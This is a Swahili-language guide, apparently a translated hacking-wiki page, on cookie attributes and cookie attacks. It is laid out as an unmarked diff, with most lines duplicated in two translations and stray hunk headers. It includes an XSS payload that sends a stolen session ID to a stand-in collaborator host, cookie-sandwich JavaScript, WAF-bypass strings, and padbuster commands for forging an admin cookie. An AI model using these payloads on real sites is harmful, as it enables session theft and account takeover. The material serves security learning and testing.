- Sifa ya `SameSite` inaamua kama cookies zitatumwa kwenye maombi yanayotokana na domains za wahusika wa tatu. Inatoa mipangilio mitatu:
- **Strict**: Inazuia cookie kutumwa kwenye maombi ya wahusika wa tatu.
- **Lax**: Inaruhusu cookie itumwe na maombi ya GET yaliyoanzishwa na tovuti za wahusika wa tatu.
- **None**: Inaruhusu cookie itumwe kutoka kwa domain yoyote ya mhusika wa tatu.
Kumbuka, wakati wa kuunda cookies, kuelewa sifa hizi kunaweza kusaidia kuhakikisha zinatenda kama inavyotarajiwa katika hali tofauti.
Kumbuka, wakati wa kusanidi cookies, kuelewa vigezo hivi kunaweza kusaidia kuhakikisha zinatenda kama inavyotarajiwa katika nyakati tofauti.
| **Request Type** | **Example Code** | **Cookies Sent When** |
| ---------------- | ---------------------------------- | --------------------- |
| Link | \<a href="...">\</a> | NotSet\*, Lax, None |
| Prerender | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
| Form GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
| Form POST | \<form method="POST" action="..."> | NotSet\*, None |
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
| AJAX | $.get("...") | NotSet\*, None |
| Image | \<img src="..."> | NetSet\*, None |
| **Aina ya Ombi** | **Mfano wa Msimbo** | **Cookies Zinatumwa Wakati** |
| ---------------- | ---------------------------------- | ---------------------------- |
| Link | \<a href="...">\</a> | NotSet\*, Lax, None |
| Prerender | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
| Form GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
| Form POST | \<form method="POST" action="..."> | NotSet\*, None |
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
| AJAX | $.get("...") | NotSet\*, None |
| Image | \<img src="..."> | NetSet\*, None |
Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) and slightly modified.\
A cookie with _**SameSite**_ attribute will **mitigate CSRF attacks** where a logged session is needed.
Cookie yenye _**SameSite**_ attribute itapunguza mashambulizi ya CSRF ambapo kikao kilichoingia kinakohitajika.
**\*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite** **attribute will be lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
Notice that temporary, after applying this change, the **cookies without a SameSite** **policy** in Chrome will be **treated as None** during the **first 2 minutes and then as Lax for top-level cross-site POST request.**
Kumbuka kwa muda, baada ya mabadiliko haya, **cookies bila sera ya SameSite** katika Chrome zitatendewa kama **None** kwa **dakika 2 za kwanza** kisha kama **Lax** kwa ombi la POST la ngazi ya juu la cross-site.
## Cookies Flags
### HttpOnly
Hii inazuia **mteja** kufikia cookie (Kupitia **Javascript** kwa mfano: `document.cookie`)
Hii inazuia **client** kufikia cookie (kwa kutumia **Javascript** kwa mfano: `document.cookie`)
#### **Bypasses**
- Ikiwa ukurasa unatumia **cookies kama jibu** la maombi (kwa mfano katika ukurasa wa **PHPinfo**), inawezekana kutumia XSS kutuma ombi kwa ukurasa huu na **kuiba cookies** kutoka kwa jibu (angalia mfano katika [https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
- Hii inaweza kupitishwa kwa maombi ya **TRACE** **HTTP** kwani jibu kutoka kwa seva (ikiwa njia hii ya HTTP inapatikana) itarudisha cookies zilizotumwa. Mbinu hii inaitwa **Cross-Site Tracking**.
- Mbinu hii inakwepa na **vivinjari vya kisasa kwa kutoruhusu kutuma ombi la TRACE** kutoka JS. Hata hivyo, baadhi ya njia za kupita hii zimepatikana katika programu maalum kama kutuma `\r\nTRACE` badala ya `TRACE` kwa IE6.0 SP2.
- Ikiwa ukurasa unatumia **kutuma cookies kama sehemu ya response** za maombi (kwa mfano katika ukurasa wa **PHPinfo**), inawezekana kutumika XSS kutuma ombi kwa ukurasa huu na **kuiba cookies** kutoka kwenye response (tazama mfano katika [https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
- Hii inaweza kupuuzwa kwa kutumia maombi ya **TRACE HTTP** kwani response kutoka kwa server (ikiwa njia hii ya HTTP inapatikana) itaakisi cookies zilizotumwa. Mbinu hii inaitwa **Cross-Site Tracking**.
- Mbinu hii imeepukiwa na kivinjari vya kisasa kwa kutoruhusu kutuma ombi la TRACE kutoka JS. Hata hivyo, baadhi ya bypasses zimepatikana katika programu maalum kama kutuma `\r\nTRACE` badala ya `TRACE` kwa IE6.0 SP2.
- Njia nyingine ni kutumia udhaifu wa zero/day wa vivinjari.
- Inawezekana **kufuta cookies za HttpOnly** kwa kufanya shambulio la Cookie Jar overflow:
- Inawezekana **kuandika tena HttpOnly cookies** kwa kufanya Cookie Jar overflow attack:
{{#ref}}
cookie-jar-overflow.md
{{#endref}}
- Inawezekana kutumia [**Cookie Smuggling**](#cookie-smuggling) shambulio kuhamasisha cookies hizi
- Inawezekana kutumia [**Cookie Smuggling**](#cookie-smuggling) attack ku-exfiltrate hizi cookies
- Ikiwa endpoint yoyote ya server-side inarudia raw session ID katika HTTP response (mfano, ndani ya HTML comments au debug block), unaweza kupitisha HttpOnly kwa kutumia XSS gadget kuchukua endpoint hiyo, kutumia regex kupata siri, na ku-exfiltrate. Mfano wa muundo wa XSS payload:
```js
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });
```
### Secure
Ombi litatumwa **tu** kutuma cookie katika ombi la HTTP ikiwa ombi linatumwa kupitia njia salama (kawaida **HTTPS**).
Ombi litatuma cookie **tu** katika ombi la HTTP ikiwa ombi limetumwa kupitia njia salama (kwa kawaida **HTTPS**).
## Cookies Prefixes
## Prefiksi za Cookies
Cookies zilizo na awali `__Secure-` zinahitajika kuwekwa pamoja na bendera ya `secure` kutoka kurasa ambazo zimehakikishwa na HTTPS.
Cookies zilizo na kiambishi `__Secure-` zinahitajika kuwekwa pamoja na bendera ya `secure` kutoka kwenye kurasa zilizolindwa na HTTPS.
Kwa cookies zilizo na awali `__Host-`, masharti kadhaa yanapaswa kutimizwa:
Kwa cookies zilizo na kiambishi `__Host-`, masharti kadhaa lazima yatimizwe:
- Lazima ziwe zimewekwa na bendera ya `secure`.
- Lazima zitoke kwenye ukurasa uliohakikishwa na HTTPS.
- Zinakatazwa kuainisha domain, kuzuia usafirishaji wao kwa subdomains.
- Njia ya cookies hizi lazima iwe imewekwa kwa `/`.
- Lazima zitoke kwenye ukurasa uliolindwa na HTTPS.
- Zinapigwa marufuku kutaja domain, hivyo kuzuia kusafirishwa kwa subdomains.
- Path kwa cookies hizi lazima iwe imewekwa kama `/`.
Ni muhimu kutambua kwamba cookies zilizo na awali `__Host-` haziruhusiwi kutumwa kwa superdomains au subdomains. Kizuizi hiki kinasaidia katika kutenga cookies za programu. Hivyo, kutumia awali ya `__Host-` kwa cookies zote za programu inaweza kuzingatiwa kama mazoea mazuri ya kuboresha usalama na kutengwa.
Ni muhimu kutambua kuwa cookies zilizo na kiambishi `__Host-` haziruhusiwi kutumwa kwa superdomains au subdomains. Kizuizi hiki husaidia kutenganisha cookies za programu. Kwa hivyo, kutumia kiambishi cha `__Host-` kwa cookies zote za programu kinaweza kuchukuliwa kama mbinu nzuri ya kuongeza usalama na izolamento.
### Overwriting cookies
Hivyo, moja ya ulinzi wa cookies zilizo na awali `__Host-` ni kuzuia ziweze kufutwa kutoka subdomains. Kuzuia kwa mfano [**Cookie Tossing attacks**](cookie-tossing.md). Katika mazungumzo [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) inawasilishwa kwamba ilikuwa inawezekana kuweka cookies zilizo na awali \_\_HOST- kutoka subdomain, kwa kudanganya parser, kwa mfano, kuongeza "=" mwanzoni au mwishoni...:
Kwa hivyo, mojawapo ya ulinzi wa cookies zilizo na kiambishi cha `__Host-` ni kuzuia ziandikwe tena kutoka kwa subdomains. Kuhakikisha, kwa mfano, kuzuia [**Cookie Tossing attacks**](cookie-tossing.md). Katika mazungumzo ya [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) ilionyeshwa kwamba ilikuwa inawezekana kuweka cookies zilizo na kiambishi \_\_HOST- kutoka subdomain, kwa kudanganya parser, kwa mfano, kwa kuongeza "=" mwanzoni au mwanzoni na mwisho...:
<figure><img src="../../images/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Au katika PHP ilikuwa inawezekana kuongeza **herufi nyingine mwanzoni** mwa jina la cookie ambazo zingeweza **kubadilishwa na herufi za chini** , kuruhusu kufuta cookies za `__HOST-`:
Au katika PHP ilikuwa inawezekana kuongeza **viyombo vingine mwanzoni** vya jina la cookie ambavyo vilibadilishwa kuwa **vibonye vya underscore**, kuruhusu kuandika tena cookies za `__HOST-`:
<figure><img src="../../images/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
## Cookies Attacks
## Shambulio za Cookies
Ikiwa cookie maalum ina data nyeti angalia hiyo (hasa ikiwa unacheza CTF), kwani inaweza kuwa na udhaifu.
Kama cookie maalum ina data nyeti hakikisha kuikagua (hasa ikiwa unacheza CTF), kwani inaweza kuwa dhaifu.
### Decoding and Manipulating Cookies
Data nyeti iliyowekwa katika cookies inapaswa kila wakati kuchunguzwa. Cookies zilizowekwa katika Base64 au mifumo inayofanana mara nyingi zinaweza kufichuliwa. Udhaifu huu unaruhusu washambuliaji kubadilisha maudhui ya cookie na kujifanya kuwa watumiaji wengine kwa kuandika data zao zilizobadilishwa tena ndani ya cookie.
Data nyeti iliyowekwa ndani ya cookies inapaswa kuangaliwa kwa undani kila wakati. Cookies zilizokatwa kwa Base64 au formati zinazofanana mara nyingi zinaweza kutafsiriwa (decoded). Udhaifu huu umemuwezesha mshambulizi kubadilisha yaliyomo kwenye cookie na kujigania nafasi za watumiaji wengine kwa kuifikia data iliyorekebishwa na kuiweka tena katika cookie.
### Session Hijacking
Shambulio hili linahusisha kuiba cookie ya mtumiaji ili kupata ufikiaji usioidhinishwa kwa akaunti yao ndani ya programu. Kwa kutumia cookie iliyibwa, mshambuliaji anaweza kujifanya kuwa mtumiaji halali.
Shambulio hili linahusisha kuiba cookie ya mtumiaji ili kupata upatikanaji usioidhinishwa katika akaunti yao ndani ya programu. Kwa kutumia cookie iliyotorwa, mshambulizi anaweza kujigania kuwa mtumiaji halali.
### Session Fixation
Katika hali hii, mshambuliaji anamdanganya mwathirika kutumia cookie maalum kuingia. Ikiwa programu haitoi cookie mpya wakati wa kuingia, mshambuliaji, mwenye cookie ya awali, anaweza kujifanya kuwa mwathirika. Mbinu hii inategemea mwathirika kuingia na cookie iliyotolewa na mshambuliaji.
Katika hali hii, mshambulizi humdanganya mwathiriwa kutumia cookie maalum ili kuingia. Ikiwa programu haitoi cookie mpya wakati wa kuingia, mshambulizi, mwenye cookie ya awali, anaweza kujigania mwathiriwa. Mbinu hii inategemea mwathiriwa kuingia akiwa na cookie iliyotolewa na mshambulizi.
Ikiwa umepata **XSS katika subdomain** au unadhibiti **subdomain**, soma:
If you found an **XSS in a subdomain** or you **control a subdomain**, read:
{{#ref}}
@ -123,9 +130,9 @@ cookie-tossing.md
### Session Donation
Hapa, mshambuliaji anamshawishi mwathirika kutumia cookie ya kikao ya mshambuliaji. Mwathirika, akiamini kwamba ameingia kwenye akaunti yake mwenyewe, atafanya vitendo bila kujua katika muktadha wa akaunti ya mshambuliaji.
Hapa, mshambulizi anamshawishi mwathiriwa kutumia cookie ya kikao ya mshambulizi. Mwathiriwa, akidhani ameingia kwenye akaunti yake mwenyewe, atatekeleza hatua bila kukusudia katika muktadha wa akaunti ya mshambulizi.
Ikiwa umepata **XSS katika subdomain** au unadhibiti **subdomain**, soma:
If you found an **XSS in a subdomain** or you **control a subdomain**, read:
{{#ref}}
@ -134,23 +141,23 @@ cookie-tossing.md
### [JWT Cookies](../hacking-jwt-json-web-tokens.md)
Bonyeza kwenye kiungo kilichotangulia ili kufikia ukurasa unaoelezea udhaifu unaowezekana katika JWT.
Click on the previous link to access a page explaining possible flaws in JWT.
JSON Web Tokens (JWT) zinazotumiwa katika cookies pia zinaweza kuonyesha udhaifu. Kwa maelezo ya kina kuhusu udhaifu unaowezekana na jinsi ya kuyatumia, inashauriwa kufikia hati iliyo kwenye kuhamasisha JWT.
JSON Web Tokens (JWT) zinazotumika katika cookies pia zinaweza kuonyesha udhaifu. Kwa habari za kina kuhusu mapungufu yanayowezekana na jinsi ya kuyatumia, inashauriwa kufikia hati iliyounganishwa kuhusu hacking JWT.
### Cross-Site Request Forgery (CSRF)
Shambulio hili linamfanya mtumiaji aliyeingia kutekeleza vitendo visivyotakikana kwenye programu ya wavuti ambayo kwa sasa wanaidhinishwa. Washambuliaji wanaweza kutumia cookies ambazo zinasafirishwa kiotomatiki na kila ombi kwa tovuti iliyo hatarini.
Shambulio hili linawalazimisha watumiaji walioingia kuendesha vitendo wasivyotaka kwenye programu ya wavuti ambamo wamo ndani ya kikao chenye uthibitisho. Washambulizi wanaweza kutumia cookies zinazonatumwa moja kwa moja kwa kila ombi kwa tovuti iliyo hatarini.
### Empty Cookies
(Tazama maelezo zaidi katika [utafiti wa asili](https://blog.ankursundara.com/cookie-bugs/)) Vivinjari vinaruhusu kuunda cookies bila jina, ambayo inaweza kuonyeshwa kupitia JavaScript kama ifuatavyo:
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Vivinjari vinaruhusu uundaji wa cookies bila jina, jambo ambalo linaweza kuonyeshwa kupitia JavaScript kama ifuatavyo:
```js
document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"
```
Matokeo katika kichwa cha cookie kilichotumwa ni `a=v1; test value; b=v2;`. Kwa kushangaza, hii inaruhusu udanganyifu wa cookies ikiwa cookie yenye jina tupu imewekwa, ikifanya iwezekane kudhibiti cookies nyingine kwa kuweka cookie hiyo tupu kwa thamani maalum:
Matokeo katika sent cookie header ni `a=v1; test value; b=v2;`. Kwa kushangaza, hii inaruhusu kuingilia cookies ikiwa cookie isiyo na jina itawekwa, na inawezekana kudhibiti cookies nyingine kwa kuweka cookie isiyo na jina kuwa na thamani maalum:
```js
function setCookie(name, value) {
document.cookie = `${name}=${value}`
@ -158,49 +165,49 @@ document.cookie = `${name}=${value}`
setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value
```
Hii inasababisha kivinjari kutuma kichwa cha cookie kinachotafsiriwa na kila seva ya wavuti kama cookie iliyo na jina `a` na thamani `b`.
Hii inasababisha kivinjari kutuma header ya cookie ambayo inatafsiriwa na kila web server kama cookie iliyoitwa `a` yenye thamani `b`.
#### Chrome Bug: Tatizo la Kiwango cha Unicode Surrogate
#### Chrome Bug: Unicode Surrogate Codepoint Issue
Katika Chrome, ikiwa kiwango cha Unicode surrogate ni sehemu ya cookie iliyowekwa, `document.cookie` inaharibika, ikirudisha string tupu baadaye:
Katika Chrome, ikiwa Unicode surrogate codepoint ni sehemu ya set cookie, `document.cookie` inaharibika na baadaye inarudisha string tupu:
```js
document.cookie = "\ud800=meep"
```
Hii inasababisha `document.cookie` kutoa string tupu, ikionyesha uharibifu wa kudumu.
Hii inasababisha `document.cookie` kutoa mlolongo tupu, ikibainisha uharibifu wa kudumu.
#### Uhamasishaji wa Keki kutokana na Masuala ya Ufafanuzi
#### Cookie Smuggling Kutokana na Masuala ya Kuchambua
(Tazama maelezo zaidi katika [utafiti wa asili](https://blog.ankursundara.com/cookie-bugs/)) Seva kadhaa za wavuti, ikiwa ni pamoja na zile za Java (Jetty, TomCat, Undertow) na Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), zinashughulikia nyuzi za keki vibaya kutokana na msaada wa zamani wa RFC2965. Wanasoma thamani ya keki iliyo na nukuu mbili kama thamani moja hata kama inajumuisha alama za semikolon, ambazo kwa kawaida zinapaswa kutenganisha jozi za funguo-thamani:
(Angalia maelezo zaidi katika [original research](https://blog.ankursundara.com/cookie-bugs/)) Seva nyingi za wavuti, zikiwemo zile za Java (Jetty, TomCat, Undertow) na Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), zinashughulikia vibaya cookie strings kutokana na msaada wa zamani wa RFC2965. Zinasoma thamani ya cookie iliyofungwa kwa nukuu mbili kama thamani moja hata ikiwa ina semicolons, ambazo kwa kawaida zinapaswa kutenganisha jozi za ufunguo-thamani:
```
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
```
#### Uthibitisho wa Uvunjaji wa Keki
#### Cookie Injection Vulnerabilities
(Tazama maelezo zaidi katika [utafiti wa asili](https://blog.ankursundara.com/cookie-bugs/)) Ufafanuzi usio sahihi wa keki na seva, hasa Undertow, Zope, na zile zinazotumia `http.cookie.SimpleCookie` na `http.cookie.BaseCookie` za Python, unatoa fursa za mashambulizi ya kuingiza keki. Seva hizi zinashindwa kuweka mipaka sahihi ya kuanza kwa keki mpya, ikiruhusu washambuliaji kuiga keki:
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Uchambuzi usio sahihi wa cookies na servers, hasa Undertow, Zope, na zile zinazotumia Python's `http.cookie.SimpleCookie` na `http.cookie.BaseCookie`, unaweka fursa za cookie injection attacks. Servers hizi hazifanyi delimiting ya kuanza kwa cookies mpya kwa usahihi, ikiruhusu watafuki kuiga cookies:
- Undertow inatarajia keki mpya mara moja baada ya thamani iliyonukuliwa bila alama ya semikolon.
- Zope inatafuta koma ili kuanza kufafanua keki inayofuata.
- Madarasa ya keki ya Python yanaanza kufafanua kwenye herufi ya nafasi.
- Undertow inatarajia cookie mpya mara moja baada ya thamani iliyowekwa ndani ya nukuu bila semicolon.
- Zope inatafuta koma kuanza uchambuzi wa cookie inayofuata.
- Python's cookie classes huanza kuchambua kwenye space character.
Uthibitisho huu ni hatari sana katika programu za wavuti zinazotegemea ulinzi wa CSRF wa keki, kwani unaruhusu washambuliaji kuingiza keki za CSRF-token zilizoghushi, na hivyo kuweza kupita hatua za usalama. Tatizo hili linazidishwa na jinsi Python inavyoshughulikia majina ya keki yanayojirudia, ambapo tukio la mwisho linazidi yale ya awali. Pia linaibua wasiwasi kwa keki za `__Secure-` na `__Host-` katika muktadha usio salama na linaweza kusababisha kupita kwa mamlaka wakati keki zinapopelekwa kwa seva za nyuma zinazoweza kudanganywa.
Udhaifu huu ni hatari hasa katika web applications zinazotegemea cookie-based CSRF protection, kwani unamruhusu mwizi kuingiza spoofed CSRF-token cookies, kwa njia inaweza kuzuia security measures. Tatizo linazidi kuongezeka kutokana na jinsi Python inavyoshughulikia majina ya cookie yaliyorudiwa, ambapo matukio ya mwisho yanashinda yale ya awali. Pia inaleta wasiwasi kwa `__Secure-` na `__Host-` cookies katika muktadha usio salama na inaweza kusababisha authorization bypasses wakati cookies zinapotumwa kwa back-end servers zilizo susceptible kwa spoofing.
### Keki $version
### Cookies $version
#### Kupita WAF
#### WAF Bypass
Kulingana na [**hiki blogpost**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), inaweza kuwa inawezekana kutumia sifa ya keki **`$Version=1`** ili kufanya backend itumie mantiki ya zamani kufafanua keki kutokana na **RFC2109**. Zaidi ya hayo, thamani nyingine kama **`$Domain`** na **`$Path`** zinaweza kutumika kubadilisha tabia ya backend na keki.
According to [**this blogpost**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), inaweza kuwa inawezekana kutumia cookie attribute **`$Version=1`** kufanya backend itumie logic ya zamani ya kuchambua cookie kutokana na **RFC2109**. Zaidi ya hayo, values nyingine kama **`$Domain`** na **`$Path`** zinaweza kutumika kubadilisha tabia ya backend kwa cookie.
#### Shambulio la Sandwich ya Keki
#### Cookie Sandwich Attack
Kulingana na [**hiki blogpost**](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique) inawezekana kutumia mbinu ya sandwich ya keki kuiba keki za HttpOnly. Hizi ndizo mahitaji na hatua:
According to [**this blogpost**](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique) inawezekana kutumia cookie sandwich technique kuiba HttpOnly cookies. Haya ndio mahitaji na hatua:
- Pata mahali ambapo **keki isiyo na maana inarejelewa katika jibu**
- **Unda keki inayoitwa `$Version`** yenye thamani `1` (unaweza kufanya hivi katika shambulio la XSS kutoka JS) yenye njia maalum ili ipate nafasi ya awali (mifumo mingine kama python haitaji hatua hii)
- **Unda keki inayorejelewa** yenye thamani inayowacha **nukuu mbili wazi** na yenye njia maalum ili iwe katika hifadhidata ya keki baada ya ile ya awali (`$Version`)
- Kisha, keki halali itafuata katika mpangilio
- **Unda keki ya dummy inayofunga nukuu mbili** ndani ya thamani yake
- Tafuta sehemu ambapo cookie isiyo na maana inaonekana katika response
- **Create a cookie called `$Version`** yenye value `1` (you can do this in a XSS attack from JS) yenye path maalum ili ipate nafasi ya mwanzo (mifumo mingine kama python hawahitaji hatua hii)
- **Create the cookie that is reflected** yenye value inayowacha **open double quotes** na path maalum ili ipo kwenye cookie db baada ya ile ya awali (`$Version`)
- Kisha, cookie halali itaenda ifuatayo katika mfuatano
- **Create a dummy cookie that closes the double quotes** ndani ya value yake
Kwa njia hii, keki ya mwathirika inakwama ndani ya keki mpya toleo 1 na itarejelewa kila wakati inaporejelewa.
Kwa njia hii cookie ya mwathirika inashikwa ndani ya cookie mpya version 1 na itareflect kila inaporeflect. kwa mfano kutoka kwenye post:
```javascript
document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
@ -211,56 +218,56 @@ document.cookie = `param2=end";`;
#### Cookies $version
Angalia sehemu ya awali.
Angalia sehemu iliyotangulia.
#### Bypassing value analysis with quoted-string encoding
Hii parsing inaonyesha kuondoa uakifishaji wa thamani ndani ya cookies, hivyo "\a" inakuwa "a". Hii inaweza kuwa na manufaa kuzunguka WAFS kama:
Uchambuzi huu unaonyesha kuondoa escape kwenye thamani zilizopigwa escape ndani ya cookies, hivyo "\a" inakuwa "a". Hii inaweza kusaidia kupitisha WAFS kama:
- `eval('test') => forbidden`
- `"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed`
#### Bypassing cookie-name blocklists
Katika RFC2109 inabainishwa kuwa **comma inaweza kutumika kama separator kati ya thamani za cookie**. Na pia inawezekana kuongeza **nafasi na tabs kabla na baada ya alama ya sawa**. Hivyo cookie kama `$Version=1; foo=bar, abc = qux` haisababishi cookie `"foo":"bar, admin = qux"` bali cookies `foo":"bar"` na `"admin":"qux"`. Angalia jinsi cookies 2 zinavyoundwa na jinsi admin alivyondolewa nafasi kabla na baada ya alama ya sawa.
Katika RFC2109 imeelezwa kwamba **koma inaweza kutumika kama kigawanyaji kati ya thamani za cookie**. Na pia inawezekana kuongeza **nafasi na tabs kabla na baada ya alama ya sawa**. Hivyo cookie kama `$Version=1; foo=bar, abc = qux` haitatengeneza cookie `"foo":"bar, admin = qux"` bali cookies `foo":"bar"` na `"admin":"qux"`. Angalia jinsi cookie 2 zinavyotengenezwa na jinsi admin alivyopata kuondolewa nafasi kabla na baada ya alama ya sawa.
#### Bypassing value analysis with cookie splitting
Hatimaye backdoors tofauti zingeunganishwa katika string cookies tofauti zilizopitishwa katika vichwa tofauti vya cookie kama katika:
Hatimaye backdoors tofauti zingeunganisha katika string cookie tofauti zilizopita kwenye headers tofauti za cookie kama katika:
```
GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;
```
Ambayo inaweza kuruhusu kupita WAF kama katika mfano huu:
Ambayo inaweza kuruhusu bypass a WAF kama katika mfano huu:
```
Cookie: name=eval('test//
Cookie: comment')
Resulting cookie: name=eval('test//, comment') => allowed
```
### Ukaguzi wa Keki Zenye Uthibitisho wa Ziada
### Ukaguzi Zaidi wa Cookies Zilizo Hatarini
#### **Ukaguzi wa Msingi**
#### **Uchunguzi wa Msingi**
- **Keki** ni **ile ile** kila wakati unapo **ingia**.
- Toka na jaribu kutumia keki ile ile.
- Jaribu kuingia na vifaa 2 (au vivinjari) kwenye akaunti ile ile ukitumia keki ile ile.
- Angalia kama keki ina taarifa yoyote ndani yake na jaribu kuibadilisha.
- Jaribu kuunda akaunti kadhaa zikiwa na jina la mtumiaji karibu sawa na angalia kama unaweza kuona kufanana.
- Angalia chaguo la "**nikumbuke**" ikiwa ipo ili kuona jinsi inavyofanya kazi. Ikiwa ipo na inaweza kuwa na udhaifu, daima tumia keki ya **nikumbuke** bila keki nyingine yoyote.
- Angalia kama keki ya awali inafanya kazi hata baada ya kubadilisha nenosiri.
- The **cookie** ni **ile ile** kila unapofanya **login**.
- Log out na jaribu kutumia cookie ile ile.
- Jaribu kufanya **login** kwa vifaa 2 (au browsers) kwenye account ile ile ukitumia cookie ile ile.
- Angalia kama cookie ina taarifa yoyote ndani yake na jaribu kuibadilisha.
- Jaribu kuunda accounts kadhaa zenye username karibu sana na angalia kama unaweza kuona mfanano.
- Angalia chaguo la "**remember me**" kama lipo kuona jinsi linavyofanya kazi. Ikiwa lipo na linaweza kuwa hatarishi, tumia kila wakati cookie ya **remember me** bila cookie nyingine yoyote.
- Angalia ikiwa cookie ya hapo awali inafanya kazi hata baada ya kubadilisha password.
#### **Mashambulizi ya Keki ya Juu**
#### **Shambulio za juu za Cookies**
Ikiwa keki inabaki kuwa ile ile (au karibu) unapoingia, hii ina maana kwamba keki inahusiana na uwanja fulani wa akaunti yako (labda jina la mtumiaji). Kisha unaweza:
Ikiwa cookie inabaki ile ile (au karibu) unapo login, hii labda ina maana cookie inahusiana na sehemu fulani ya account yako (labda username). Kisha unaweza:
- Jaribu kuunda akaunti nyingi zikiwa na majina ya watumiaji yanayofanana sana na jaribu **kukisia** jinsi algorithimu inavyofanya kazi.
- Jaribu **kufanya brute force kwenye jina la mtumiaji**. Ikiwa keki inahifadhiwa tu kama njia ya uthibitisho kwa jina lako la mtumiaji, basi unaweza kuunda akaunti yenye jina la mtumiaji "**Bmin**" na **bruteforce** kila **bit** ya keki yako kwa sababu moja ya keki ambazo utajaribu itakuwa ile inayomilikiwa na "**admin**".
- Jaribu **Padding** **Oracle** (unaweza kufichua maudhui ya keki). Tumia **padbuster**.
- Jaribu kuunda accounts nyingi zenye usernames zinazofanana sana na jaribu kubashiri jinsi algorithimu inavyofanya kazi.
- Jaribu **bruteforce the username**. Ikiwa cookie inahifadhiwa tu kama njia ya uthibitisho kwa username yako, basi unaweza kuunda account yenye username "**Bmin**" na **bruteforce** kila **bit** ya cookie yako kwa sababu moja ya cookies utakazojaribu itakuwa ile ya "**admin**".
- Jaribu **Padding** **Oracle** (unaweza ku-decrypt maudhui ya cookie). Tumia **padbuster**.
**Padding Oracle - Mifano ya Padbuster**
**Padding Oracle - Padbuster examples**
```bash
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
@ -270,43 +277,46 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
```
Padbuster itafanya majaribio kadhaa na itakuuliza ni hali ipi ndiyo hali ya makosa (ile ambayo si halali).
Padbuster itafanya jaribio kadhaa na itakuuliza ni hali gani ndiyo hali ya kosa (ile ambayo si halali).
Kisha itaanza kufungua siri cookie (inaweza kuchukua dakika kadhaa)
Kisha itaanza decrypting the cookie (inaweza kuchukua dakika kadhaa)
Ikiwa shambulio limefanywa kwa mafanikio, basi unaweza kujaribu kuandika upya mfuatano wa chaguo lako. Kwa mfano, ikiwa ungependa **encrypt** **user=administrator**
Iwapo attack imefanywa kwa mafanikio, basi unaweza kujaribu encrypt string ya chaguo lako. Kwa mfano, ikiwa ungependa **encrypt** **user=administrator**
```
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
```
Hii utekelezaji itakupa cookie iliyosimbwa na kuandikwa kwa usahihi na mfuatano **user=administrator** ndani.
Utekelezaji huu utakupa cookie iliyosimbwa na imekodishwa vizuri ikiwa na mfuatano **user=administrator** ndani.
**CBC-MAC**
Labda cookie inaweza kuwa na thamani fulani na inaweza kusainiwa kwa kutumia CBC. Kisha, uaminifu wa thamani ni saini iliyoundwa kwa kutumia CBC na thamani hiyo hiyo. Kama inavyopendekezwa kutumia kama IV vector isiyo na kitu, aina hii ya ukaguzi wa uaminifu inaweza kuwa na hatari.
Huenda cookie ikawa na thamani fulani na ikasainiwa kwa kutumia CBC. Hivyo, uadilifu wa thamani ni saini iliyotengenezwa kwa kutumia CBC na thamani hiyo yenyewe. Kwa kuwa inapendekezwa kutumia IV kuwa vektori sifuri, aina hii ya ukaguzi wa uadilifu inaweza kuwa dhaifu.
**Shambulio**
